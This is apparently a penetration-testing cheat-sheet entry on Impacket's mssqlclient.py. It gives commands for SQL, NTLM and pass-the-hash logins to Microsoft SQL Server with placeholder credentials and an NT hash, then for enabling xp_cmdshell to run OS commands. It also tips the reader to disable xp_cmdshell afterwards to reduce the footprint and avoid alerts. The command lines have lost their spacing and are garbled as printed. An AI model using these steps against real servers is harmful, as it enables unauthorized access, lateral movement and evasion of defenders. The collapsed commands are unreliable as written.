mssqlclient.py from Impacket opens an interactive TDS session against a Microsoft SQL Server. It supports plain SQL logins (the local sa or a mixed-mode account) as well as Windows/domain authentication via -windows-auth, which forces NTLM instead of SQL auth. Pass-the-hash works by supplying -hashes LMHASH:NTHASH instead of a password. Use it as the entry point for all further MSSQL abuse (enumeration, xp_cmdshell, linked servers).
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
NT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7
# SQL authentication (mixed-mode / sa account)mssqlclient.pytest.local/john:password123@10.10.10.1# Windows (domain) authentication over NTLMmssqlclient.pytest.local/john:password123@10.10.10.1-windows-auth# Pass-the-hash with Windows authmssqlclient.py-hashes:2a3de7fe356ee524cc9f3d579f2e0aa7test.local/john@10.10.10.1-windows-auth
Once connected with mssqlclient.py, the built-in enable_xp_cmdshell command flips the xp_cmdshell advanced option on (via sp_configure), and xp_cmdshell then runs arbitrary OS commands as the SQL Server service account. This requires sysadmin (or equivalent) on the instance. Disable it again with disable_xp_cmdshell to reduce footprint; enabling xp_cmdshell is noisy and commonly alerted on.
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
mssqlclient.pytest.local/john:password123@10.10.10.1-windows-auth# At the SQL> prompt:SQL>enable_xp_cmdshellSQL>xp_cmdshellwhoamiSQL>disable_xp_cmdshell